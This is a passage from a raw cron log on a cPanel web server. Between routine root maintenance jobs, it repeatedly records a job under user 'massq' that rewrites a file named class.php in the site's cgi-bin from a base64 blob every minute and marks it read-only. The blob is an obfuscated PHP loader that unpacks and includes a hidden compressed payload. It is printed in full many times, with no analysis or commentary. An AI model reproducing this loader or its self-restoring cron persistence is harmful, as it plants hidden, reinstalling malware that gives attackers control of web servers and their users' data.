V9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:04:01 server CROND[15298]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:05:01 server CROND[15375]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:05:01 server CROND[15378]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:05:01 server CROND[15377]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 14:05:01 server CROND[15379]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 14:05:01 server CROND[15380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:06:01 server CROND[15592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:07:01 server CROND[15682]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:08:01 server CROND[15738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:09:01 server CROND[15801]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:09:01 server CROND[15802]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 14:10:01 server CROND[15866]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:10:01 server CROND[15868]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:10:01 server CROND[15867]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 14:10:01 server CROND[15869]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:11:01 server CROND[15977]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:12:01 server CROND[16171]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 14:12:01 server CROND[16172]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:13:01 server CROND[16232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:14:01 server CROND[16303]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:15:01 server CROND[16366]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 14:15:01 server CROND[16368]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 14:15:01 server CROND[16369]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  7 14:15:01 server CROND[16370]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 14:16:01 server CROND[16485]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
